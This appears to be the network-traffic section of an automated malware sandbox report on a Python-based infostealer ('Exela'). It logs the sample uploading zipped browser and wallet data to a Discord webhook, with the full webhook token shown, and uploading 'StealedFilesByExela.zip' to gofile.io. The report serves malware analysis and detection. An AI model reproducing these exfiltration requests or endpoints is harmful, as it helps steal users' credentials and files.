                                                                                                                                                                                                                                    Content-Security-Policy: frame-ancestors 'none'; default-src 'none'
                                                                                                                                                                                                                                    Set-Cookie: __sdcfduid=a77e5eb6b1d711eeb084def28c803d5e56763b60dec7105d2cf6476e8a4f1f53993f110e60fee5b9918b2fc4551b2735; Expires=Thu, 11-Jan-2029 05:50:28 GMT; Max-Age=157680000; Secure; HttpOnly; Path=/; SameSite=Lax
                                                                                                                                                                                                                                    2024-01-13 05:50:28 UTC341INData Raw: 53 65 74 2d 43 6f 6f 6b 69 65 3a 20 5f 5f 63 66 72 75 69 64 3d 62 38 30 64 36 38 61 62 34 64 36 38 32 30 65 65 38 32 32 37 61 33 36 39 38 30 63 39 38 36 64 31 64 33 31 61 36 66 39 64 2d 31 37 30 35 31 32 35 30 32 38 3b 20 70 61 74 68 3d 2f 3b 20 64 6f 6d 61 69 6e 3d 2e 64 69 73 63 6f 72 64 2e 63 6f 6d 3b 20 48 74 74 70 4f 6e 6c 79 3b 20 53 65 63 75 72 65 3b 20 53 61 6d 65 53 69 74 65 3d 4e 6f 6e 65 0d 0a 53 65 74 2d 43 6f 6f 6b 69 65 3a 20 5f 63 66 75 76 69 64 3d 45 6d 5f 37 41 4b 6e 72 4e 68 47 7a 4f 42 69 63 48 4c 51 2e 56 36 6a 55 70 34 4c 63 63 79 56 64 6a 75 66 2e 37 2e 72 67 38 67 77 2d 31 37 30 35 31 32 35 30 32 38 31 33 32 2d 30 2d 36 30 34 38 30 30 30 30 30 3b 20 70 61 74 68 3d 2f 3b 20 64 6f 6d 61 69 6e 3d 2e 64 69 73 63 6f 72 64 2e 63 6f 6d 3b
                                                                                                                                                                                                                                    Data Ascii: Set-Cookie: __cfruid=b80d68ab4d6820ee8227a36980c986d1d31a6f9d-1705125028; path=/; domain=.discord.com; HttpOnly; Secure; SameSite=NoneSet-Cookie: _cfuvid=Em_7AKnrNhGzOBicHLQ.V6jUp4LccyVdjuf.7.rg8gw-1705125028132-0-604800000; path=/; domain=.discord.com;
                                                                                                                                                                                                                                    2024-01-13 05:50:28 UTC45INData Raw: 7b 22 6d 65 73 73 61 67 65 22 3a 20 22 55 6e 6b 6e 6f 77 6e 20 57 65 62 68 6f 6f 6b 22 2c 20 22 63 6f 64 65 22 3a 20 31 30 30 31 35 7d
                                                                                                                                                                                                                                    Data Ascii: {"message": "Unknown Webhook", "code": 10015}


                                                                                                                                                                                                                                    Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                                                                                                    2192.168.2.749722162.159.136.2324435828C:\Users\user\Desktop\9afaXJv52z.exe
                                                                                                                                                                                                                                    TimestampBytes transferredDirectionData
                                                                                                                                                                                                                                    2024-01-13 05:50:28 UTC627OUTPOST /api/webhooks/1190831584878809150/43baozn0FAVEYDo8eF-XivB5Q0JQGjw6pMMgTYce34wCzvDF3gAtdM_zDzFY9WMg2T-- HTTP/1.1
                                                                                                                                                                                                                                    Host: discord.com
                                                                                                                                                                                                                                    Accept: */*
                                                                                                                                                                                                                                    Accept-Encoding: gzip, deflate
                                                                                                                                                                                                                                    User-Agent: Python/3.11 aiohttp/3.9.1
                                                                                                                                                                                                                                    Cookie: __cfruid=a74299eec30796612ee1aba559cec2ac39e412a1-1705125027; __dcfduid=a7326af6b1d711ee8a71f6ae5b42f42d; __sdcfduid=a7326af6b1d711ee8a71f6ae5b42f42d54e26f373fdf86319292142ab3e5999144397f4f80adacce011ffd6c0fb5ab76; _cfuvid=aj8uM7kcJ0MNAo6nz2vet08aXXwLbACx1lSAcAMR9kI-1705125027635-0-604800000
                                                                                                                                                                                                                                    Content-Length: 706209
                                                                                                                                                                                                                                    Content-Type: multipart/form-data; boundary=56876a009fdd4d2dae10c9c80acc02a3
                                                                                                                                                                                                                                    2024-01-13 05:50:28 UTC36OUTData Raw: 2d 2d 35 36 38 37 36 61 30 30 39 66 64 64 34 64 32 64 61 65 31 30 63 39 63 38 30 61 63 63 30 32 61 33 0d 0a
                                                                                                                                                                                                                                    Data Ascii: --56876a009fdd4d2dae10c9c80acc02a3
                                                                                                                                                                                                                                    2024-01-13 05:50:28 UTC164OUTData Raw: 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 6f 63 74 65 74 2d 73 74 72 65 61 6d 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 31 39 38 38 32 37 34 32 2d 43 43 35 36 2d 31 41 35 39 2d 39 37 37 39 2d 46 42 38 43 42 46 41 31 45 32 39 44 2e 7a 69 70 22 0d 0a 43 6f 6e 74 65 6e 74 2d 4c 65 6e 67 74 68 3a 20 37 30 35 39 36 39 0d 0a 0d 0a
                                                                                                                                                                                                                                    Data Ascii: Content-Type: application/octet-streamContent-Disposition: form-data; name="file"; filename="19882742-CC56-1A59-9779-FB8CBFA1E29D.zip"Content-Length: 705969
                                                                                                                                                                                                                                    2024-01-13 05:50:28 UTC16384OUTData Raw: 50 4b 03 04 14 00 00 00 00 00 4c 36 2d 58 00 00 00 00 00 00 00 00 00 00 00 00 09 00 00 00 42 72 6f 77 73 65 72 73 2f 50 4b 03 04 14 00 00 00 00 00 4c 36 2d 58 00 00 00 00 00 00 00 00 00 00 00 00 08 00 00 00 57 61 6c 6c 65 74 73 2f 50 4b 03 04 14 00 00 00 08 00 4c 36 2d 58 86 c3 56 e7 0d 80 0a 00 21 c4 0a 00 0f 00 00 00 44 69 73 70 6c 61 79 20 28 31 29 2e 70 6e 67 54 fb 7b 3c d3 ff ff 3f 8e 3f 36 93 53 39 4c a2 1c 36 4c 42 91 4a c2 d8 1c 8a 51 a6 9c 0f 21 2a 44 09 61 0e 63 4e 39 9f 26 a1 b2 29 4a ce 84 90 33 73 cc a9 e4 d0 c9 f9 7c 36 73 3e fd a6 d7 f3 7d f9 7e 7e 7f b8 6c f6 78 b8 ef 61 8f eb ed 7a b8 df 6e 0b d7 d3 d5 3c c1 7a 86 15 00 80 13 18 2d 8d 3b 00 c0 48 7f 0a 01 98 8f d1 1f 6a 12 68 ea f4 07 90 db 1d 4d 35 20 bf 4b 60 f6 e8 90 9d ea 2d 55 00 28
                                                                                                                                                                                                                                    Data Ascii: PKL6-XBrowsers/PKL6-XWallets/PKL6-XV!Display (1).pngT{<??6S9L6LBJQ!*DacN9&)J3s|6s>}~~lxazn<z-;HjhM5 K`-U(
                                                                                                                                                                                                                                    2024-01-13 05:50:28 UTC16384OUTData Raw: 46 90 ed f3 95 78 ef c7 71 7b dc 15 00 2d 83 fc 80 12 8f 3f 85 dd 33 35 60 31 d1 94 de d1 b8 6b e1 e6 f1 07 03 78 1f 5f 7c 66 c7 e6 be e6 2e d2 d3 9c 07 bc 80 18 0c 73 e3 53 11 d6 5f f7 a6 93 8c c6 ba b5 d1 66 86 0c 54 a3 91 b9 f7 02 0f ae a7 cd 18 81 cd 8a 42 17 12 f4 5e d0 63 93 ce f5 9d a3 4e 24 a1 33 ef 89 ee 95 a9 bf 06 6d ca 3d 2e d6 6c 44 ec 1a 91 ee e7 45 c6 11 f3 f6 5c 6e 8f e4 42 f7 d2 25 f5 6c 0b 45 b0 b2 95 37 0a 65 ee 70 72 06 b4 7f 33 8b 01 82 34 d2 ac 8f f7 7e 8e 18 48 e5 5d ae 3e f9 ac 04 ea 13 7d a2 a0 40 23 35 83 9c 37 d5 7b 26 72 8c 59 19 83 ac c6 65 e0 e6 65 7c 4e c9 22 10 e7 74 9b c8 53 59 ba 37 bd de af f4 16 59 1a 6e 81 02 bb 55 36 e9 17 57 cf 86 e2 c4 cf 96 2f 5b 48 32 85 27 98 53 38 f1 55 cc 14 a3 fd 6f 81 a4 13 1f af 79 95 20 a5
                                                                                                                                                                                                                                    Data Ascii: Fxq{-?35`1kx_|f.sS_fTB^cN$3m=.lDE\nB%lE7epr34~H]>}@#57{&rYee|N"tSY7YnU6W/[H2'S8Uoy
                                                                                                                                                                                                                                    2024-01-13 05:50:28 UTC16384OUTData Raw: 71 40 e9 a9 01 b9 dd 80 31 cc 79 d5 79 5b a6 ad 37 c8 cd 3d f5 41 36 98 9e 82 8a da 1f 33 68 5f 27 89 06 2c 92 05 57 5d 76 c7 ac f7 95 0f fe 5e 36 8a f3 85 92 6a 16 0d 01 69 58 a8 fb 05 d9 3d b9 80 95 d8 54 9e b5 3f 6f 38 31 4c db ff 01 d1 6b 42 84 34 21 1c 2a c7 5b bb 2b 70 37 e2 67 56 4b c4 a8 c1 01 f4 18 31 34 39 24 ae 6f 7a 93 3a 15 35 cf 53 f4 33 3b 81 55 b6 b5 7f f2 d5 1e 0b bb 53 4b 03 9b f9 bf ef 6c d0 14 bb 55 9c 4c 95 22 d4 3b 5c 0e ea 62 a1 6b 8f 6e 30 ea bf fc 5f 1f 75 4b 84 63 47 0e b0 80 03 ce 55 8b ee 7f 13 5d a6 c1 58 17 f0 6b b0 52 e6 8f e9 e2 97 9c ce a6 2a 9b f9 ae bb 7d f5 85 3b 25 60 f2 b9 2b f2 fb 96 15 ae 37 58 8a b4 08 1f dc c5 12 a5 af 90 eb 85 40 c6 27 c2 48 6f 33 8a 4c 2e 71 31 35 9a 12 4a 13 29 0d 4b 4c 0f 2e e6 69 8a 5b 2f d0
                                                                                                                                                                                                                                    Data Ascii: q@1yy[7=A63h_',W]v^6jiX=T?o81LkB4!*[+p7gVK149$oz:5S3;USKlUL";\bkn0_uKcGU]XkR*};%`+7X@'Ho3L.q15J)KL.i[/
                                                                                                                                                                                                                                    2024-01-13 05:50:28 UTC16384OUTData Raw: 4d e6 9e e4 68 bc 05 93 71 4c a1 57 6a 59 63 89 76 4b b9 46 ca d8 af 7c 1a ee 11 69 b6 a4 a4 c4 81 41 38 69 d8 d8 bb 1d 11 6d 78 84 6c 67 85 d8 4e 58 1f 4b 00 d6 f0 64 66 cd fd 0e f9 d9 93 a5 15 cf 1d 2b d3 f3 99 cd 08 2a 7a 8d e9 e3 e5 b2 69 21 b7 3d 27 a4 20 e9 9b ea ca 44 df f8 ca a7 be 91 83 e1 fb 17 c2 bc d3 4e 78 f9 42 28 a5 f7 7f 09 6b 76 a5 11 f1 34 70 bd 37 e3 7c 98 37 9a 08 a8 0c e9 0c 28 71 ba 31 81 df 0a 88 f1 ab 7e 09 ed 6e 87 2b e4 5a a9 c8 2b 72 d6 87 9b 2b 2a 32 e2 ea 8f 6e 52 61 65 01 2d 48 1d e2 c9 db 48 59 16 44 5a 78 57 ef 88 44 47 c3 5b 8d e0 9a 40 fa 3f f5 cd 01 0b ce af 46 de b3 e9 33 f3 b5 1c 79 6d 30 36 a8 d0 5e fc ae 44 fe 8f d5 f6 05 93 e7 0f a6 28 ee a6 6f db 9c 71 07 79 91 23 bf a9 65 37 0a 02 65 f6 49 75 6d 71 89 58 ad 42 ca
                                                                                                                                                                                                                                    Data Ascii: MhqLWjYcvKF|iA8imxlgNXKdf+*zi!=' DNxB(kv4p7|7(q1~n+Z+r+*2nRae-HHYDZxWDG[@?F3ym06^D(oqy#e7eIumqXB
                                                                                                                                                                                                                                    2024-01-13 05:50:28 UTC16384OUTData Raw: 08 7c 5b f9 f7 58 8d 0d 88 7f 59 b2 fc 30 75 83 17 e3 20 2d a6 4f 66 ca e6 c1 cc 56 bb 1e d9 32 8c 1a 01 e7 62 cd 01 b9 dd c9 55 cd 24 86 68 04 31 a1 fb 2a 1d 0a ad e8 24 0e 4c 16 a4 4e 57 71 e0 c6 eb bc 9a 24 c4 27 5b f2 4e 92 76 cf d0 43 95 b6 29 ae 83 17 f6 fb 7c 07 7e 14 91 93 c5 28 18 9c 59 87 1a 16 86 ed bc e5 cd d7 9d 77 07 6f 9f 16 5a cf a2 2d f6 93 45 1b bb 76 06 16 da 0a e1 d6 27 ac f4 f3 85 14 21 2e 9d eb 2a d0 07 c9 0c b4 87 4a 65 aa 04 c2 3e 2d 2b b9 c9 9f 68 cb be 3d 6b 0d c8 d1 30 d5 5b d4 dd 4c bf b2 4d 3d e8 e8 f5 5b 67 57 e4 cf a4 fc f3 bc 85 ce 8a 65 1a 9b 82 41 0f 6a 55 c0 b0 c2 32 2e 03 51 15 51 8a 2d 44 8e 3a 59 ad 68 38 2a 4b 7a 5f a5 d7 96 d2 fb af 24 9c 7f a9 a3 31 6c 68 ca 8e f6 f5 a0 35 b2 ce f2 50 9c 81 27 4a 88 69 69 0e 17 3a
                                                                                                                                                                                                                                    Data Ascii: |[XY0u -OfV2bU$h1*$LNWq$'[NvC)|~(YwoZ-Ev'!.*Je>-+h=k0[LM=[gWeAjU2.QQ-D:Yh8*Kz_$1lh5P'Jii:
                                                                                                                                                                                                                                    2024-01-13 05:50:28 UTC16384OUTData Raw: f1 e0 5a 41 4f 90 3f c5 8a bf 41 e3 6b fd d7 0d e1 f1 49 fb 3d 99 f1 08 85 40 2b ca fb ab 53 cd 6b ba 49 b5 d5 fb a3 4d 18 a4 ff 40 72 97 c9 1a f2 69 8b 5c 22 d1 d1 e3 39 65 53 91 37 5f b3 64 cb 35 a9 b6 de 7f 58 5d f5 43 ef 04 fb af e8 fa 37 b2 1b e5 d1 e0 8d 34 ff b5 cf 63 e7 7d 0a 3c 87 c6 7d 58 3a f7 f2 07 74 04 27 47 28 74 ee cf ff 55 9f 59 ee 63 c1 16 09 7c 78 b0 36 3a 79 64 4c e9 a1 bc 1b 39 e4 cf 4e 0c 1a 83 7c be 94 b8 6b bd 86 46 2c 3f be 42 57 ba 0f 39 f1 03 6b 76 ce ab 5f 0f cf 03 f7 e3 f1 e4 63 ea 68 d7 b1 69 71 66 1d 07 00 ba b7 33 b9 9a e4 90 60 54 bd 3a df e3 2a 5c 5d ca 80 ee 5d 6b 9c 8f b1 f4 4e f9 6b 46 4e e3 73 c5 bb 52 1d 77 bf 4e 8a 52 8c cf c3 84 c0 78 4b 40 fe 90 fd 34 a8 92 36 38 f2 3f ab 50 e8 ca 67 99 31 a2 13 18 cf 98 c4 d5 87
                                                                                                                                                                                                                                    Data Ascii: ZAO?AkI=@+SkIM@ri\"9eS7_d5X]C74c}<}X:t'G(tUYc|x6:ydL9N|kF,?BW9kv_chiqf3`T:*\]]kNkFNsRwNRxK@468?Pg1
                                                                                                                                                                                                                                    2024-01-13 05:50:28 UTC16384OUTData Raw: 79 1a 15 9f 5b 94 a1 59 82 bd 0c 67 7f a5 44 c8 4b ad f4 85 4e 52 1b 67 48 b1 9e f3 2d 6a 31 4c 5a e2 37 e9 0d 92 4c b9 61 10 75 02 a6 1b 48 4c 8d b3 05 dc fe 39 8a f9 38 8a e4 4c fb 88 ca 05 93 33 91 a3 49 33 ae 09 8c b6 8d 0d 16 13 be ba a1 f3 db aa 55 6f 76 67 68 63 88 10 71 29 74 65 0b 4b f4 a7 6d 51 03 e7 94 80 61 d6 b4 76 6b 00 03 93 7f 87 58 7e 61 d9 58 0e b0 3a 1f 8e 82 34 8b 47 25 b7 1a 03 f2 07 22 e7 39 b2 23 f2 34 f7 79 de 4d d3 89 9c a2 9e 53 a0 30 f3 d0 7c f0 e6 63 41 69 d0 af d1 d9 c9 c6 60 76 d0 af c8 73 1e 47 c5 99 01 85 11 b4 eb cb 7c f8 88 b6 80 bc 1a 6d 9a e1 ea 64 20 13 4e e1 09 0e d8 73 3d 0a ef fb b5 b8 1d 29 78 f5 99 1a 48 9b b7 ed b8 e2 d8 f2 b0 fc 91 fb b4 fc 75 21 74 c9 7f 52 6c 1e d4 42 e7 f2 72 53 20 1d bd d1 c6 3d f7 eb b1 77
                                                                                                                                                                                                                                    Data Ascii: y[YgDKNRgH-j1LZ7LauHL98L3I3Uovghcq)teKmQavkX~aX:4G%"9#4yMS0|cAi`vsG|md Ns=)xHu!tRlBrS =w
                                                                                                                                                                                                                                    2024-01-13 05:50:28 UTC16384OUTData Raw: 99 c0 76 0d 92 6a 28 66 5e f7 f3 03 dc f7 0e d2 8c c0 6f 8d bc bd 90 6e e7 dc 7e 7b d0 5a a4 ba b9 e9 f1 d6 88 dc 9a 9f b9 bb c9 73 6f cf 14 fe a7 00 f5 5b db 15 12 36 2b 1b 25 49 9c c2 ff 53 26 99 c4 8c 95 b1 07 82 ef ef 8e 61 fa dd aa 1c 62 e1 2f 91 c6 e2 ef e7 b9 38 19 e1 30 6e 84 c0 eb e9 42 90 57 6d 2e 35 53 a2 8e 0f a2 95 85 42 fa 01 89 68 a3 cf 8e 6d 5a 0e ac 66 56 df 94 15 40 ce 86 c7 18 75 1b 29 7c ed 07 dd 5e 17 88 e5 ba ce 5d d5 2d e9 3c 4f 1e ab cd 11 62 a4 97 b6 00 35 4c 8f 5c 99 1e e6 2a 60 b5 67 49 b6 fc bd 3b df 2c 2a 88 58 d4 48 4f 10 cc f8 0d ef 46 74 13 ae ef 93 ff 1e 42 53 c0 c0 69 4a fd 09 49 41 02 08 c3 d5 ca 3e 10 76 9f 23 f8 8a bf 3e be 41 89 43 7e a3 dc de ad 71 f5 0a f8 8a 89 48 d3 a6 33 eb 1f c6 39 cd 0b f8 29 a3 5d cf 3f 25 3c
                                                                                                                                                                                                                                    Data Ascii: vj(f^on~{Zso[6+%IS&ab/80nBWm.5SBhmZfV@u)|^]-<Ob5L\*`gI;,*XHOFtBSiJIA>v#>AC~qH39)]?%<
                                                                                                                                                                                                                                    2024-01-13 05:50:29 UTC908INHTTP/1.1 404 Not Found
                                                                                                                                                                                                                                    Date: Sat, 13 Jan 2024 05:50:29 GMT
                                                                                                                                                                                                                                    Content-Type: application/json
                                                                                                                                                                                                                                    Content-Length: 45
                                                                                                                                                                                                                                    Connection: close
                                                                                                                                                                                                                                    strict-transport-security: max-age=31536000; includeSubDomains; preload
                                                                                                                                                                                                                                    x-ratelimit-bucket: 3d2712a9e4fe17cc9d3fed4a8e672e5f
                                                                                                                                                                                                                                    x-ratelimit-limit: 5
                                                                                                                                                                                                                                    x-ratelimit-remaining: 4
                                                                                                                                                                                                                                    x-ratelimit-reset: 1705125030
                                                                                                                                                                                                                                    x-ratelimit-reset-after: 1
                                                                                                                                                                                                                                    via: 1.1 google
                                                                                                                                                                                                                                    Alt-Svc: h3=":443"; ma=86400
                                                                                                                                                                                                                                    CF-Cache-Status: DYNAMIC
                                                                                                                                                                                                                                    Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=H4X4LKwSel9ZQTXmcnvWKIUx2J03G%2BwsGdx0vPP3s6VVvxvewTz7yElHmr0TTqLfuyJXj%2BoBPSv%2F10J9O5MZPXuV6xEDyyAdJCxUw3RarviLt6lp1MdqpmSacwe6"}],"group":"cf-nel","max_age":604800}
                                                                                                                                                                                                                                    NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
                                                                                                                                                                                                                                    X-Content-Type-Options: nosniff
                                                                                                                                                                                                                                    Content-Security-Policy: frame-ancestors 'none'; default-src 'none'
                                                                                                                                                                                                                                    Server: cloudflare
                                                                                                                                                                                                                                    CF-RAY: 844b5ca3cb52399a-IAD


                                                                                                                                                                                                                                    Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                                                                                                    3192.168.2.74972551.38.43.184435828C:\Users\user\Desktop\9afaXJv52z.exe
                                                                                                                                                                                                                                    TimestampBytes transferredDirectionData
                                                                                                                                                                                                                                    2024-01-13 05:50:30 UTC132OUTGET /getServer HTTP/1.1
                                                                                                                                                                                                                                    Host: api.gofile.io
                                                                                                                                                                                                                                    Accept: */*
                                                                                                                                                                                                                                    Accept-Encoding: gzip, deflate
                                                                                                                                                                                                                                    User-Agent: Python/3.11 aiohttp/3.9.1
                                                                                                                                                                                                                                    2024-01-13 05:50:31 UTC1077INHTTP/1.1 200 OK
                                                                                                                                                                                                                                    Access-Control-Allow-Credentials: true
                                                                                                                                                                                                                                    Access-Control-Allow-Headers: Content-Type
                                                                                                                                                                                                                                    Access-Control-Allow-Methods: GET, POST, OPTIONS, PUT, DELETE, HEAD
                                                                                                                                                                                                                                    Access-Control-Allow-Origin: *
                                                                                                                                                                                                                                    Content-Length: 42
                                                                                                                                                                                                                                    Content-Security-Policy: default-src 'self';base-uri 'self';font-src 'self' https: data:;form-action 'self';frame-ancestors 'self';img-src 'self' data:;object-src 'none';script-src 'self';script-src-attr 'none';style-src 'self' https: 'unsafe-inline';upgrade-insecure-requests
                                                                                                                                                                                                                                    Content-Type: application/json; charset=utf-8
                                                                                                                                                                                                                                    Cross-Origin-Embedder-Policy: require-corp
                                                                                                                                                                                                                                    Cross-Origin-Opener-Policy: same-origin
                                                                                                                                                                                                                                    Cross-Origin-Resource-Policy: cross-origin
                                                                                                                                                                                                                                    Date: Sat, 13 Jan 2024 05:50:31 GMT
                                                                                                                                                                                                                                    Etag: W/"2a-4631fb42WPfD17k7JGczdnxpWhM"
                                                                                                                                                                                                                                    Origin-Agent-Cluster: ?1
                                                                                                                                                                                                                                    Referrer-Policy: no-referrer
                                                                                                                                                                                                                                    Strict-Transport-Security: max-age=15552000; includeSubDomains
                                                                                                                                                                                                                                    X-Content-Type-Options: nosniff
                                                                                                                                                                                                                                    X-Dns-Prefetch-Control: off
                                                                                                                                                                                                                                    X-Download-Options: noopen
                                                                                                                                                                                                                                    X-Frame-Options: SAMEORIGIN
                                                                                                                                                                                                                                    X-Permitted-Cross-Domain-Policies: none
                                                                                                                                                                                                                                    X-Xss-Protection: 0
                                                                                                                                                                                                                                    Connection: close
                                                                                                                                                                                                                                    2024-01-13 05:50:31 UTC42INData Raw: 7b 22 73 74 61 74 75 73 22 3a 22 6f 6b 22 2c 22 64 61 74 61 22 3a 7b 22 73 65 72 76 65 72 22 3a 22 73 74 6f 72 65 34 22 7d 7d
                                                                                                                                                                                                                                    Data Ascii: {"status":"ok","data":{"server":"store4"}}


                                                                                                                                                                                                                                    Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                                                                                                    4192.168.2.74972631.14.70.2454435828C:\Users\user\Desktop\9afaXJv52z.exe
                                                                                                                                                                                                                                    TimestampBytes transferredDirectionData
                                                                                                                                                                                                                                    2024-01-13 05:50:32 UTC238OUTPOST /uploadFile HTTP/1.1
                                                                                                                                                                                                                                    Host: store4.gofile.io
                                                                                                                                                                                                                                    Accept: */*
                                                                                                                                                                                                                                    Accept-Encoding: gzip, deflate
                                                                                                                                                                                                                                    User-Agent: Python/3.11 aiohttp/3.9.1
                                                                                                                                                                                                                                    Content-Length: 18200
                                                                                                                                                                                                                                    Content-Type: multipart/form-data; boundary=25df96f40f0047fb993b05dad82e6739
                                                                                                                                                                                                                                    2024-01-13 05:50:32 UTC36OUTData Raw: 2d 2d 32 35 64 66 39 36 66 34 30 66 30 30 34 37 66 62 39 39 33 62 30 35 64 61 64 38 32 65 36 37 33 39 0d 0a
                                                                                                                                                                                                                                    Data Ascii: --25df96f40f0047fb993b05dad82e6739
                                                                                                                                                                                                                                    2024-01-13 05:50:32 UTC150OUTData Raw: 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 7a 69 70 2d 63 6f 6d 70 72 65 73 73 65 64 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 53 74 65 61 6c 65 64 46 69 6c 65 73 42 79 45 78 65 6c 61 2e 7a 69 70 22 0d 0a 43 6f 6e 74 65 6e 74 2d 4c 65 6e 67 74 68 3a 20 31 37 39 37 34 0d 0a 0d 0a
                                                                                                                                                                                                                                    Data Ascii: Content-Type: application/x-zip-compressedContent-Disposition: form-data; name="file"; filename="StealedFilesByExela.zip"Content-Length: 17974
                                                                                                                                                                                                                                    2024-01-13 05:50:32 UTC16384OUTData Raw: 50 4b 03 04 14 00 00 00 08 00 d5 4e 45 57 e6 66 3b 72 84 02 00 00 02 04 00 00 0e 00 00 00 42 51 4a 55 57 4f 59 52 54 4f 2e 6d 70 33 15 93 49 8e 40 21 08 44 f7 9d f4 a1 44 bf 23 4e 28 8a de ff 20 6d c7 05 89 09 a1 8a 7a 40 8f bc eb a1 59 51 ee 97 b4 18 1c 9b 4a b6 59 8f 23 d4 ec 6e da d6 8c 53 08 eb 19 db 9c 92 5c 04 f8 92 6f 93 61 44 73 77 e0 64 fa 9a bd ab 2f c4 16 53 6d 73 33 8e 94 04 47 c5 75 88 be 25 6b 5c b4 bd 83 a4 a4 f3 41 04 da 2d 66 f0 05 ec ec 0c dc ec 11 0c 8a 8a eb 18 4c a1 7b 96 f8 b0 af 98 cb a7 c4 28 30 8d 8d 1b d2 d6 bd bb 46 d6 4c 75 19 d3 18 9f bd 93 4d ac a9 9a 8b 2a 6c 15 34 48 69 c2 f9 5a e2 05 dd c4 f0 95 af bd 89 d3 40 35 6a 25 53 2a 52 39 05 52 ea d0 1c f0 0c 51 e7 2b 43 27 43 37 f8 68 0c b7 2a bd c6 2e aa 3e 95 2b 30 5f 18 94 da
                                                                                                                                                                                                                                    Data Ascii: PKNEWf;rBQJUWOYRTO.mp3I@!DD#N( mz@YQJY#nS\oaDswd/Sms3Gu%k\A-fL{(0FLuM*l4HiZ@5j%S*R9RQ+C'C7h*.>+0_
                                                                                                                                                                                                                                    2024-01-13 05:50:32 UTC1590OUTData Raw: 9a 08 65 c6 f7 77 d6 64 91 68 65 38 a5 76 3a 9f 59 66 92 11 0b 56 52 5c d2 60 aa ac d7 79 e5 99 9b eb 18 6b 87 fd 5d dc a1 3c d5 3a f9 9b 52 68 0f c4 27 9f b2 73 85 75 55 d5 e6 b9 4c 76 de 29 ca 65 8b d7 cc 46 13 cc 71 cd 95 1c 26 ee 31 15 8c 28 6a 8a 2d 65 18 77 1b 49 f9 06 f8 f6 9c 5a 97 94 6e 7c 29 98 f3 cd 47 6b f6 c9 bb 25 6d 0c b1 da d5 5e f5 fb f3 07 50 4b 01 02 14 00 14 00 00 00 08 00 d5 4e 45 57 e6 66 3b 72 84 02 00 00 02 04 00 00 0e 00 00 00 00 00 00 00 00 00 00 00 b6 81 00 00 00 00 42 51 4a 55 57 4f 59 52 54 4f 2e 6d 70 33 50 4b 01 02 14 00 14 00 00 00 08 00 d5 4e 45 57 6d 3f 8e 9a 84 02 00 00 02 04 00 00 0f 00 00 00 00 00 00 00 00 00 00 00 b6 81 b0 02 00 00 43 5a 51 4b 53 44 44 4d 57 52 2e 64 6f 63 78 50 4b 01 02 14 00 14 00 00 00 08 00 d5 4e
                                                                                                                                                                                                                                    Data Ascii: ewdhe8v:YfVR\`yk]<:Rh'suULv)eFq&1(j-ewIZn|)Gk%m^PKNEWf;rBQJUWOYRTO.mp3PKNEWm?CZQKSDDMWR.docxPKN
                                                                                                                                                                                                                                    2024-01-13 05:50:32 UTC2OUTData Raw: 0d 0a
                                                                                                                                                                                                                                    Data Ascii:
                                                                                                                                                                                                                                    2024-01-13 05:50:32 UTC38OUTData Raw: 2d 2d 32 35 64 66 39 36 66 34 30 66 30 30 34 37 66 62 39 39 33 62 30 35 64 61 64 38 32 65 36 37 33 39 2d 2d 0d 0a
                                                                                                                                                                                                                                    Data Ascii: --25df96f40f0047fb993b05dad82e6739--
                                                                                                                                                                                                                                    2024-01-13 05:50:32 UTC434INHTTP/1.1 200 OK
                                                                                                                                                                                                                                    Server: nginx/1.25.3
                                                                                                                                                                                                                                    Date: Sat, 13 Jan 2024 05:50:32 GMT
                                                                                                                                                                                                                                    Content-Type: application/json
                                                                                                                                                                                                                                    Content-Length: 313
                                                                                                                                                                                                                                    Connection: close
                                                                                                                                                                                                                                    Access-Control-Allow-Headers: Accept, Accept-Language, Content-Language, Content-Type, Content-Length, Range
                                                                                                                                                                                                                                    Access-Control-Allow-Methods: POST, GET, OPTIONS, PUT, DELETE
                                                                                                                                                                                                                                    Access-Control-Allow-Origin: *
                                                                                                                                                                                                                                    Access-Control-Expose-Headers: Cache-Control, Content-Encoding, Content-Range
                                                                                                                                                                                                                                    2024-01-13 05:50:32 UTC313INData Raw: 7b 22 64 61 74 61 22 3a 7b 22 63 6f 64 65 22 3a 22 56 6e 4a 4d 67 35 22 2c 22 64 6f 77 6e 6c 6f 61 64 50 61 67 65 22 3a 22 68 74 74 70 73 3a 2f 2f 67 6f 66 69 6c 65 2e 69 6f 2f 64 2f 56 6e 4a 4d 67 35 22 2c 22 66 69 6c 65 49 64 22 3a 22 35 65 38 31 32 65 30 35 2d 34 35 37 38 2d 34 36 32 65 2d 39 37 36 39 2d 38 38 33 33 34 32 62 33 61 64 37 61 22 2c 22 66 69 6c 65 4e 61 6d 65 22 3a 22 53 74 65 61 6c 65 64 46 69 6c 65 73 42 79 45 78 65 6c 61 2e 7a 69 70 22 2c 22 67 75 65 73 74 54 6f 6b 65 6e 22 3a 22 53 4b 38 5a 43 5a 36 76 36 58 50 37 48 54 77 72 4a 77 61 6d 74 30 47 61 44 62 6c 69 6a 47 77 63 22 2c 22 6d 64 35 22 3a 22 66 35 31 34 62 66 38 32 31 32 35 65 33 32 36 62 35 62 31 66 30 63 62 39 34 63 62 61 35 66 66 65 22 2c 22 70 61 72 65 6e 74 46 6f 6c 64 65
                                                                                                                                                                                                                                    Data Ascii: {"data":{"code":"VnJMg5","downloadPage":"https://gofile.io/d/VnJMg5","fileId":"5e812e05-4578-462e-9769-883342b3ad7a","fileName":"StealedFilesByExela.zip","guestToken":"SK8ZCZ6v6XP7HTwrJwamt0GaDblijGwc","md5":"f514bf82125e326b5b1f0cb94cba5ffe","parentFolde


